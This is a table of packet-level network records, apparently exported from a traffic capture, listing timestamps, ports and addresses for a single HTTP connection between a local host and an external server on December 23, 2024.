Dec 23, 2024 08:31:45.741767883 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.742381096 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.742434025 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.742490053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.743125916 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.743170977 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.743227005 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.743369102 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.743894100 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.743988991 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.744038105 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.744659901 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.744704962 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.744752884 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.745373964 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.745493889 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.745543003 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.746141911 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.746201038 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.746253014 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.746927977 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.747062922 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.747114897 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.747632980 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.747747898 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.748372078 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.748426914 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.748477936 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.748646975 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.748661995 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.749136925 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.749367952 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.749416113 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.749877930 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.750049114 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.750121117 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.750643969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.750782013 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.750834942 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.751383066 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.751487970 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.752144098 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.752197027 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.752240896 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.752902031 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.752954006 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.752988100 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.753638983 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.753701925 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.753727913 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.754384995 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.754434109 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.754602909 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.755147934 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.755198002 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.755264044 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.755333900 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.755898952 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.756000042 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.756088018 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.756642103 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.756805897 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.756886005 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.757400036 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.757534027 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.757582903 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.758146048 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.758280993 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.758335114 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.758887053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.758995056 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.759040117 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.759151936 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.759665012 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.759748936 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.759768009 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.759795904 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.760409117 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.760529995 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.760596037 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.761156082 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.761221886 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.761269093 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.761912107 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.762322903 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.762358904 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.762661934 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.762953043 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.762973070 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.763025045 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.763452053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.763474941 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.764233112 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.764319897 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.764328003 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.764935017 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.764952898 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.765023947 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.765638113 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.765774012 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.765825033 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.766407013 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.766601086 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.766654968 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.767152071 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.767261028 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.767415047 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.767898083 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.767999887 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.768076897 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.768636942 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.768754005 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.768810987 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.769392967 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.769494057 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.769543886 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.770144939 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.770271063 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.770339012 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.770895004 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.771018028 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.771065950 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.771677971 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.771799088 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.772455931 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.772509098 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.772557020 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.773170948 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.773255110 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.773322105 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.773948908 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.774004936 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.774019957 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.774655104 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.774710894 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.774770975 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.775412083 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.775460005 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.775522947 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.776160002 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.776220083 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.776278973 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.776356936 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.776963949 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.777034998 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.777087927 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.777682066 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.777867079 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.777914047 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.778407097 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.778529882 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.778587103 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.779165983 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.779282093 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.779323101 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.779921055 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.780040026 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.780647993 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.780705929 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.780744076 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.783373117 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.811228991 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.811480045 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.811542988 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.868124962 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.868236065 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.868302107 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.868499994 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.868599892 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.868640900 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.869246960 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.869326115 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.869385958 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.870038033 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.870069027 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.870153904 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.870763063 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.870822906 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.870874882 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.871601105 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.871675968 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.871721029 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.872275114 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.872392893 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.872466087 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.872997046 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.873083115 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.873136997 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.873750925 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.873845100 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.873914957 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.874511003 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.874612093 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.874658108 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.875260115 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.875360966 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.875464916 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.876024961 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.876075029 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.876121044 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.876780987 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.876930952 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.876981974 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.877517939 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.877615929 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.877681017 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.878251076 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.878365993 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.878411055 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.879028082 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.879054070 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.879100084 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.879762888 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.879861116 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.879904032 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.880511999 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.880608082 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.880651951 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.881268024 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.881364107 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.881428957 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.882025957 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.882132053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.882188082 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.882811069 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.883083105 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.883132935 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.883527040 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.883665085 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.883703947 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.884278059 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.884371042 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.884413004 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.884965897 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.885092020 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.885154009 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.885207891 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.885864973 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.885906935 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.885966063 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.886610985 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.886655092 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.886722088 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.887365103 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.887428999 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.887455940 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.888108969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.888149977 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.888200045 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.888850927 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.888948917 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.889467955 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.889555931 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.889594078 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.889664888 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.890310049 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.890336990 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.890361071 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.891032934 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.891088963 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.891118050 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.891753912 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.891798019 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.891848087 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.892493010 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.892529011 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.893124104 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.893170118 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.893212080 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.893289089 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.893878937 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.893979073 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.894004107 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.894587040 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.894687891 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.894715071 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.895294905 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.895340919 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.895432949 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.895972013 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.896070004 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.896670103 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.896719933 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.896766901 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.897368908 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.897449017 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.897506952 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.898030043 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.898133039 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.898192883 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.898694038 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.898734093 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.898812056 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.899367094 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.899406910 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.900023937 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.900055885 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.900089979 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.900696039 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.900789022 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.900846004 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.901355028 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.901449919 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.901518106 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.902007103 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.902061939 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.902100086 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.902661085 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.902766943 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.903296947 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.903335094 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.903379917 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.903434992 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.903991938 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.904088974 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.904169083 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.904623032 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.904759884 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.904827118 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.905301094 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.905343056 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.905422926 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.905965090 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.906069994 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.906624079 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.906642914 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.906688929 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.907258987 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.907340050 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.907378912 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.907911062 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.908021927 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.908121109 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.908549070 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.908593893 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.908621073 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.909203053 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.909322023 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.909868002 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.909920931 CET	49714	80	192.168.2.8	185.215.113.16
